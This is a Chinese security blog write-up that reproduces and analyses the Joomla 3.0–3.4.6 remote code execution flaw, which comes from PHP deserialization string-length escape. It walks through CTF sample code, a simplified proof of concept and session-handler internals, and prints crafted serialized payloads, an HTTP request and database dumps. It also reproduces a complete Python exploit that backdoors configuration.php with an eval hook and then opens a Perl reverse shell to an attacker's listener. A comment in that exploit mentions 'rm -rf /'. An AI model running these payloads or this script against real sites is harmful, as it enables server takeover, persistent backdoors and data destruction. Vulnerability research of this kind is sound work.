Joomla 3.4.6 RCE复现及分析

作者:whojoe(MS08067安全实验室SRST TEAM成员)

前言

前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下joomla3.4.6rce的代码,今天来自己分析学习一下。

环境搭建

Joomla 3.4.6 : [https://downloads.joomla.org/it/cms/joomla3/3-4-6](https://downloads.joomla.org/it/cms/joomla3/3-4-6)

php :5.4.45nts(不支持php7)

影响版本: 3.0.0 — 3.4.6

漏洞利用: https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla

(https://github.com/SecurityCN/Vulnerability-analysis/tree/master/Joomla)

要求PHP Version >= 5.3.10

反序列化长度扩展分析

## 0CTF-2016-piapiapia中的利用代码

这里就直接从大佬那里把代码拿来了

index.php

<?php require_once('class.php');   if(isset($_SESSION['username'])) {     header('Location: profile.php');     exit;   }   if(isset($_POST["username"]) && isset($_POST["password"])) {     $username = $_POST['username'];     $password = $_POST['password'];       if(strlen($username)  16)        die('Invalid user name');       if(strlen($password)  16)        die('Invalid password');       if($user->login($username, $password)) {       $_SESSION['username'] = $username;       header('Location: profile.php');       exit;     }     else {       die('Invalid user name or password');     }   }   else { echo '       Login                 
Joomla 3.4.6 RCE复现及分析

Login

'; } ?>

profile.php

show_profile($username);   if($profile  == null) {     header('Location: update.php');   }   else {     $profile = unserialize($profile);     $phone = $profile['phone'];     $email = $profile['email'];     $nickname = $profile['nickname'];     $photo = base64_encode(file_get_contents($profile['photo'])); ?>       Profile                 
Joomla 3.4.6 RCE复现及分析

Hi

register.php

<?php require_once('class.php');   if(isset($_POST['username']) && isset($_POST['password'])) {     $username = $_POST['username'];     $password = $_POST['password'];       if(strlen($username)  16)        die('Invalid user name');       if(strlen($password)  16)        die('Invalid password');     if(!$user->is_exists($username)) {       $user->register($username, $password);       echo 'Register OK!Please Login';     }     else {       die('User name Already Exists');     }   }   else { ?>       Login                 
Joomla 3.4.6 RCE复现及分析

Register

update.php

 10)       die('Invalid nickname');       $file = $_FILES['photo'];     if($file['size']  1000000)       die('Photo size error');       move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));     $profile['phone'] = $_POST['phone'];     $profile['email'] = $_POST['email'];     $profile['nickname'] = $_POST['nickname'];     $profile['photo'] = 'upload/' . md5($file['name']);       $user->update_profile($username, serialize($profile));     echo 'Update Profile Success!Your Profile';   }   else { ?>       UPDATE                 
Joomla 3.4.6 RCE复现及分析

Please Update Your Profile

class.php

table, $where);   }   public function register($username, $password) {     $username = parent::filter($username);     $password = parent::filter($password);       $key_list = Array('username', 'password');     $value_list = Array($username, md5($password));     return parent::insert($this->table, $key_list, $value_list);   }   public function login($username, $password) {     $username = parent::filter($username);     $password = parent::filter($password);       $where = "username = '$username'";     $object = parent::select($this->table, $where);     if ($object && $object->password === md5($password)) {       return true;     } else {       return false;     }   }   public function show_profile($username) {     $username = parent::filter($username);       $where = "username = '$username'";     $object = parent::select($this->table, $where);     return $object->profile;   }   public function update_profile($username, $new_profile) {     $username = parent::filter($username);     $new_profile = parent::filter($new_profile);       $where = "username = '$username'";     return parent::update($this->table, 'profile', $new_profile, $where);   }   public function __tostring() {     return __class__;   } }   class mysql {   private $link = null;     public function connect($config) {     $this->link = mysql_connect(       $config['hostname'],       $config['username'],        $config['password']     );     mysql_select_db($config['database']);     mysql_query("SET sql_mode='strict_all_tables'");       return $this->link;   }     public function select($table, $where, $ret = '*') {     $sql = "SELECT $ret FROM $table WHERE $where";     $result = mysql_query($sql, $this->link);     return mysql_fetch_object($result);   }     public function insert($table, $key_list, $value_list) {     $key = implode(',', $key_list);     $value = ''' . implode('','', $value_list) . ''';      $sql = "INSERT INTO $table ($key) VALUES ($value)";     return mysql_query($sql);   }     public function update($table, $key, $value, $where) {     $sql = "UPDATE $table SET $key = '$value' WHERE $where";     return mysql_query($sql);   }     public function filter($string) {     $escape = array(''', '/');     $escape = '/' . implode('|', $escape) . '/';     $string = preg_replace($escape, '_', $string);       $safe = array('select', 'insert', 'update', 'delete', 'where');     $safe = '/' . implode('|', $safe) . '/i';     return preg_replace($safe, 'hacker', $string);   }   public function __tostring() {     return __class__;   } } session_start(); $user = new user(); $user->connect($config); 

config.php

 

分析

index.php是登录界面(没啥用)

profile.php是读取文件的(划重点)

register.php是注册的(没啥用)

update.php是更新信息(划重点)

class.php是核心代码(划重点)

config.php flag在里面

在profile.php中可以读取文件,并且上面有反序列化操作,在update.php文件上传没有做任何过滤,但是估计实际环境会限制代码执行,在class.php中有序列化操作,并且对字符串进行了替换,由于没有对传入的单引号进行过滤,所以是存在sql注入的,但是没什么用,数据库中的所有东西都是我们可控的,所以重点就在了序列化和反序列化还有字符串长度替换上,看下过滤代码

public function filter($string) {     $escape = array(''', '/');     $escape = '/' . implode('|', $escape) . '/';     $string = preg_replace($escape, '_', $string);       $safe = array('select', 'insert', 'update', 'delete', 'where');     $safe = '/' . implode('|', $safe) . '/i';     return preg_replace($safe, 'hacker', $string);   } 

可以看到长度唯一改变的就是where,那么我们上传一个文件看一下

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;s:5:”joezk”;s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

这里面的photo是我们想要控制的,那么我们就需要控制nickname字段加上长度的替换来实现任意文件读取,但是nickname长度被限制

if(!preg_match('/^d{11}$/', $_POST['phone']))       die('Invalid phone');       if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))       die('Invalid email');      if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)       die('Invalid nickname');       $file = $_FILES['photo'];     if($file['size']  1000000)       die('Photo size error'); 

这里可以使用数组绕过,那么我们就传一下数组来看一下

Joomla 3.4.6 RCE复现及分析

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;a:1:{i:0;s:5:”joezk”;}s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

发现里面的结构发生了改变,所以我们就要考虑如何构造,因为后面的s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}是没用的,所以这一部分就被丢弃了,为了保证还有photo字段,就要把字符串进行扩充,结合前面的正则替换,where变成hacker,增加了一个长度,所以我们的最终序列化之后的应该是这种格式的

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;a:1:{i:0;s:5:”where”;}s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

其中的where”;}s:5:”photo”;s:10:”config.php”;}是我们要发送过去的nickname

“;}s:5:”photo”;s:10:”config.php”;}长度为34,那么我们就需要把这34位给挤出去,才能保证这个是可以反序列化的,为了把这34位挤出去,就需要34个where来填充,经过正则匹配后,就会变成34个hacker长度就增加了34位,即可满足我们的要求

即nickname为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}

发送数据包

POST /fff/update.php HTTP/1.1 Host: 192.168.164.138 Content-Length: 1405 Cache-Control: max-age=0 Origin: http://192.168.164.138 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjxnZAvhPqkTxgKar User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://192.168.164.138/fff/update.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=rdfs2saq7tgjqa3p224g33cg16 Connection: close   ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="phone"   12345678901 ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="email"   [email protected] ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="nickname[]"   wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} ------WebKitFormBoundaryjxnZAvhPqkTxgKar Content-Disposition: form-data; name="photo"; filename="QQ&amp#25130;&amp#22270;20200428221719.jpg" Content-Type: image/jpeg   11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111   ------WebKitFormBoundaryjxnZAvhPqkTxgKar-- 

查看数据库中结果

a:4:{s:5:”phone”;s:11:”12345678901″;s:5:”email”;s:13:”[email protected]”;s:8:”nickname”;a:1:{i:0;s:204:”hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:”photo”;s:10:”config.php”;}”;}s:5:”photo”;s:39:”upload/d421244c920e11775c1d1711a1a11da0″;}

打开profile.php即可查看结果

Joomla 3.4.6 RCE复现及分析

经过base64解密

Joomla 3.4.6 RCE复现及分析

joomla中的利用

代码是从大佬那里哪来的,具体如下

cmd = $cmd;     }       public function __destruct(){         system($this->cmd);     } }   class User {     public $username;     public $password;       public function __construct($username, $password){         $this->username = $username;         $this->password = $password;     }   }   function write($data){     $data = str_replace(chr(0).'*'.chr(0), '', $data);     file_put_contents("dbs.txt", $data); }   function read(){     $data = file_get_contents("dbs.txt");     $r = str_replace('', chr(0).'*'.chr(0), $data);     return $r; }   if(file_exists("dbs.txt")){     unlink("dbs.txt"); }   $username = "peri0d"; $password = "1234"; write(serialize(new User($username, $password))); var_dump(unserialize(read())); 

username和password我们是可控的

大概的利用链就是通过反序列化来调用evil函数执行我们要执行的命令

cmd = $cmd;     }     public function __destruct(){         system($this->cmd);     } }   class User {     public $username;     public $password;     public $ts;     public function __construct($username, $password){         $this->username = $username;         $this->password = $password;     } } $username = "peri0d"; $password = "1234"; $r = new User($username, $password); $r->ts = new evil('whoami'); echo serialize($r); //O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} 

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入,就可以对序列化的字符串长度进行缩短,我们刚才的payload需要进行修改才可以用,首先,正常经过序列化的只有两个参数,而我们构造的有三个,正好结合前面的长度缩短删除掉一个参数即可实现,所以最终的payload应该是这样的。

cmd = $cmd;     }     public function __destruct(){         system($this->cmd);     } }   class User {     public $username;     public $password;     public $ts;     public function __construct($username, $password){         $this->username = $username;         $this->password = $password;     } } $aa='O:4:"User":2:{s:8:"username";s:6:"peri0d";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; unserialize($aa); 

我们来对比一下序列化之后的字符串

O:4:”User”:3:{s:8:”username”;s:6:”peri0d”;s:8:”password”;s:4:”1234″;s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}}

O:4:”User”:2:{s:8:”username”;s:6:”peri0d”;s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}}

可以看出两个不同的就是

peri0d”;s:8:”password”;s:4:”1234

目的就是要把利用长度缩减把password字段给包括到username字段里,这一部分,他的长度是32要去掉

这里面我们的payload是

s:2:”ts”;O:4:”evil”:1:{s:3:”cmd”;s:6:”whoami”;}

长度为47

我们只能控制两个参数就是username和password,我们为了保证password字段被username吃掉而且还要保证payload能够被利用,payload就要放在password字段中传入,通过username字段进行缩减从而达到目标,有了思路,就开始构造。

$username = "peri0d"; $password = '123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; echo serialize(new User($username, $password)); //O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:55:"12345";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";} 

这里我们需要删除的是

“;s:8:”password”;s:55:”123455

他的长度是28

在正则中

str_replace(”, chr(0).’*’.chr(0), $data);

我们每次只能删除的长度是3,所以字符串长度应该是3的倍数,那么就把长度减一,变成27即可,需要9个

$username = "peri0d"; $password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; echo serialize(new User($username, $password)); //O:4:"User":2:{s:8:"username";s:60:"peri0d";s:8:"password";s:54:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";} 

执行一下

$username = "peri0d"; $password = '1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}'; write(serialize(new User($username, $password))); var_dump(unserialize(read())); 

Joomla 3.4.6 RCE复现及分析

可以看到我们的payload已经执行了。

漏洞复现

下载poc之后安装需要的包,运行exp

Joomla 3.4.6 RCE复现及分析

菜刀按上面的网址和密码链接

Joomla 3.4.6 RCE复现及分析

查看configuration.php发现已经写入一句话

Joomla 3.4.6 RCE复现及分析

exp分析

#!/usr/bin/env python3  import requests from bs4 import BeautifulSoup import sys import string import random import argparse from termcolor import colored  PROXS = {'http':'127.0.0.1:8080'} #PROXS = {}  def random_string(stringLength):       letters = string.ascii_lowercase       return ''.join(random.choice(letters) for i in range(stringLength))   backdoor_param = random_string(50)  def print_info(str):       print(colored("[*] " + str,"cyan"))  def print_ok(str):       print(colored("[+] "+ str,"green"))  def print_error(str):       print(colored("[-] "+ str,"red"))  def print_warning(str):       print(colored("[!!] " + str,"yellow"))  def get_token(url, cook):       token = ''       resp = requests.get(url, cookies=cook, proxies = PROXS)       html = BeautifulSoup(resp.text,'html.parser')       # csrf token is the last input       for v in html.find_all('input'):               csrf = v       csrf = csrf.get('name')       return csrf   def get_error(url, cook):       resp = requests.get(url, cookies = cook, proxies = PROXS)       if 'Failed to decode session object' in resp.text:               #print(resp.text)               return False       #print(resp.text)       return True   def get_cook(url):       resp = requests.get(url, proxies=PROXS)       #print(resp.cookies)       return resp.cookies   def gen_pay(function, command):       # Generate the payload for call_user_func('FUNCTION','COMMAND')       template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"connection";i:1;}'       #payload =  command + ' || $a='http://wtf';'       payload =  'http://l4m3rz.l337/;' + command       # Following payload will append an eval() at the enabled of the configuration file       #payload =  'file_put_contents('configuration.php','if(isset($_POST['test'])) eval($_POST['test']);', FILE_APPEND) || $a='http://wtf';'       function_len = len(function)       final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))       return final  def make_req(url , object_payload):       # just make a req with object       print_info('Getting Session Cookie ..')       cook = get_cook(url)       print_info('Getting CSRF Token ..')       csrf = get_token( url, cook)        user_payload = '' * 9       padding = 'AAA' # It will land at this padding       working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'       clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects        inj_object = '";'       inj_object += object_payload       inj_object += 's:6:"return";s:102:' # end the object with the 'return' part       password_payload = padding + inj_object       params = {           'username': user_payload,           'password': password_payload,           'option':'com_users',           'task':'user.login',           csrf :'1'           }        print_info('Sending request ..')       resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)       return resp.text  def get_backdoor_pay():       # This payload will backdoor the the configuration .PHP with an eval on POST request        function = 'assert'       template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"connection";i:1;}'       # payload =  command + ' || $a='http://wtf';'       # Following payload will append an eval() at the enabled of the configuration file       payload =  'file_put_contents('configuration.php','if(isset($_POST['' + backdoor_param +''])) eval($_POST[''+backdoor_param+'']);', FILE_APPEND) || $a='http://wtf';'       function_len = len(function)       final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))       return final  def check(url):       check_string = random_string(20)       target_url = url + 'index.php/component/users'       html = make_req(url, gen_pay('print_r',check_string))       if check_string in html:               return True       else:               return False  def ping_backdoor(url,param_name):       res = requests.post(url + '/configuration.php', data={param_name:'echo 'PWNED';'}, proxies = PROXS)       if 'PWNED' in res.text:               return True       return False  def execute_backdoor(url, payload_code):       # Execute PHP code from the backdoor       res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)       print(res.text)  def exploit(url, lhost, lport):       # Exploit the target       # Default exploitation will append en eval function at the end of the configuration.pphp       # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')       # e.g. get_payload('system','rm -rf /')        # First check that the backdoor has not been already implanted       target_url = url + 'index.php/component/users'        make_req(target_url, get_backdoor_pay())       if ping_backdoor(url, backdoor_param):               print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)               print_info('Now it's time to reverse, trying with a system + perl')               execute_backdoor(url, 'system('perl -e 'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'');')   if __name__ == '__main__':       parser = argparse.ArgumentParser()       parser.add_argument('-t','--target',required=True,help='Joomla Target')       parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')       parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')       parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')       parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')       args = vars(parser.parse_args())         url = args['target']       if(check(url)):               print_ok('Vulnerable')               if args['exploit']:                       exploit(url, args['lhost'], args['lport'])               else:                       print_info('Use --exploit to exploit it')        else:               print_error('Seems NOT Vulnerable ;/') 

在第一行已经定义了代理

PROXS = {‘http’:’127.0.0.1:8080′}

获取cookie

def get_cook(url):      resp = requests.get(url, proxies=PROXS)      #print(resp.cookies)      return resp.cookies 

获取csrf token

def get_token(url, cook):         token = ''         resp = requests.get(url, cookies=cook, proxies = PROXS)         html = BeautifulSoup(resp.text,'html.parser')         # csrf token is the last input         for v in html.find_all('input'):                 csrf = v         csrf = csrf.get('name')         return csrf 

Joomla 3.4.6 RCE复现及分析

验证漏洞存在,如果存在的话,执行exploit

从新获取cookie和token,写入一句话,检查一句话是否存在,之后通过一句话执行反弹shell操作

def execute_backdoor(url, payload_code):         # Execute PHP code from the backdoor         res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)         print(res.text)   def exploit(url, lhost, lport):         # Exploit the target         # Default exploitation will append en eval function at the end of the configuration.pphp         # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')         # e.g. get_payload('system','rm -rf /')           # First check that the backdoor has not been already implanted         target_url = url + 'index.php/component/users'           make_req(target_url, get_backdoor_pay())         if ping_backdoor(url, backdoor_param):                 print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)                 print_info('Now it's time to reverse, trying with a system + perl')                 execute_backdoor(url, 'system('perl -e 'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'');' 

这里跟踪一下写入一句话,漏洞点存在于libraries/joomla/session/storage/database.php中于是我们在这里下断点查看一下

public function read($id) {     // Get the database connection object and verify its connected.     $db = JFactory::getDbo();       try     {       // Get the session data from the database table.       $query = $db->getQuery(true)         ->select($db->quoteName('data'))       ->from($db->quoteName('#__session'))       ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));         $db->setQuery($query);         $result = (string) $db->loadResult();         $result = str_replace('', chr(0) . '*' . chr(0), $result);         return $result;     }     catch (Exception $e)     {       return false;     }   }     /**    * Write session data to the SessionHandler backend.    *    * @param   string  $id    The session identifier.    * @param   string  $data  The session data.    *    * @return  boolean  True on success, false otherwise.    *    * @since   11.1    */   public function write($id, $data) {     // Get the database connection object and verify its connected.     $db = JFactory::getDbo();       $data = str_replace(chr(0) . '*' . chr(0), '', $data);       try     {       $query = $db->getQuery(true)         ->update($db->quoteName('#__session'))         ->set($db->quoteName('data') . ' = ' . $db->quote($data))         ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))         ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));         // Try to update the session data in the database table.       $db->setQuery($query);         if (!$db->execute())       {         return false;       }       /* Since $db->execute did not throw an exception, so the query was successful.       Either the data changed, or the data was identical.       In either case we are done.       */       return true;     }     catch (Exception $e)     {       return false;     }   } 

看以前前面的过滤,如果传入chr(0).’*’.chr(0)是没什么用的,但是如果传入,就可以对序列化的字符串长度进行缩短,有了之前的分析,这里就会好理解许多,可以参考我的另一篇文章PHP 反序列化字符逃逸学习(https://blog.csdn.net/qq_43645782/article/details/105801796)

数据库中的数据

__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1588261345;s:18:"session.timer.last";i:1588261347;s:17:"session.timer.now";i:1588261570;s:8:"registry";O:24:"JoomlaRegistryRegistry":2:{s:7:"data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:39:"index.php?option=com_users&view=profile";s:8:"username";s:54:"";s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST['mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu'])) eval($_POST['mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"_params";O:24:"JoomlaRegistryRegistry":2:{s:7:"data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"_authGroups";N;s:14:"_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"_authActions";N;s:12:"_errorMsg";N;s:13:"userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}} //正常的数据 __default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"JoomlaRegistryRegistry":2:{s:7:"data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"_params";O:24:"JoomlaRegistryRegistry":2:{s:7:"data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"_authGroups";N;s:14:"_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"_authActions";N;s:12:"_errorMsg";N;s:13:"userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}} 

可以看到和正常数据不同的地方的后面也有很多类似函数的参数,把上面的格式化一下

__default| a:8: { s:15:"session.counter"; i:3; s:19:"session.timer.start"; i:1588261345; s:18:"session.timer.last"; i:1588261347; s:17:"session.timer.now"; i:1588261570; s:8:"registry"; O:24:"JoomlaRegistryRegistry":2: {  s:7:"data";  O:8:"stdClass":1:  {    s:5:"users";    O:8:"stdClass":1:    {      s:5:"login";      O:8:"stdClass":1:      {        s:4:"form";        O:8:"stdClass":2:        {          s:4:"data";          a:5:          {            s:6:"return";s:39:"index.php?option=com_users&view=profile";            s:8:"username";s:54:"";            s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"a";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST['mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu'])) eval($_POST['mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"connection";i:1;}s:6:"return";s:102:";            s:9:"secretkey";s:0:"";            s:8:"remember";i:0;          }          s:6:"return";          s:39:"index.php?option=com_users&view=profile";        }      }    }  }  s:9:"separator";  s:1:"."; } s:4:"user"; O:5:"JUser":26: {  s:9:"isRoot";N;  s:2:"id";i:0;  s:4:"name";N;  s:8:"username";N;  s:5:"email";N;  s:8:"password";N;  s:14:"password_clear";s:0:"";  s:5:"block";N;  s:9:"sendEmail";i:0;  s:12:"registerDate";N;  s:13:"lastvisitDate";N;  s:10:"activation";N;  s:6:"params";N;  s:6:"groups";a:1:{i:0;s:1:"9";}  s:5:"guest";i:1;  s:13:"lastResetTime";N;  s:10:"resetCount";N;  s:12:"requireReset";N;  s:10:"_params";  O:24:"JoomlaRegistryRegistry":2:  {    s:7:"data";    O:8:"stdClass":0:{}    s:9:"separator";s:1:".";  }  s:14:"_authGroups";N;  s:14:"_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}  s:15:"_authActions";N;  s:12:"_errorMsg";N;  s:13:"userHelper";  O:18:"JUserWrapperHelper":0:{}  s:10:"_errors";a:0:{}  s:3:"aid";i:0; } s:13:"session.token"; s:32:"878c42d725cd32dcc52aa2ca0c848ded"; s:17:"application.queue"; a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}} 

Services 一文中给出所有的字母标示及其含义:

a – array b – boolean d – double i – integer o – common object r – reference s – string C – custom object O – class N – null R – pointer reference U – unicode string

在其中的”;s:8:”password”;s:603:”AAA长度为27,正好为构造的payload,经过read函数的替换之后变为

Joomla 3.4.6 RCE复现及分析

之后经过一个303跳转,请求index.php/component/users/?view=login从新调用read()函数,触发payload

这里的password字段被替换为一个类

查看libraries/joomla/database/driver/mysqli.php中206行

public function __destruct() {     $this->disconnect(); } public function disconnect() {     // Close the connection.     if ($this->connection)     {         foreach ($this->disconnectHandlers as $h)         {             call_user_func_array($h, array( &$this));         }         mysqli_close($this->connection);     }     $this->connection = null; } 

存在一个call_user_func_array函数,但是这里面的&$this是我们不可控的,所以需要取寻找另一个利用点,新调用一个对象,在libraries/simplepie/simplepie.php中

Joomla 3.4.6 RCE复现及分析

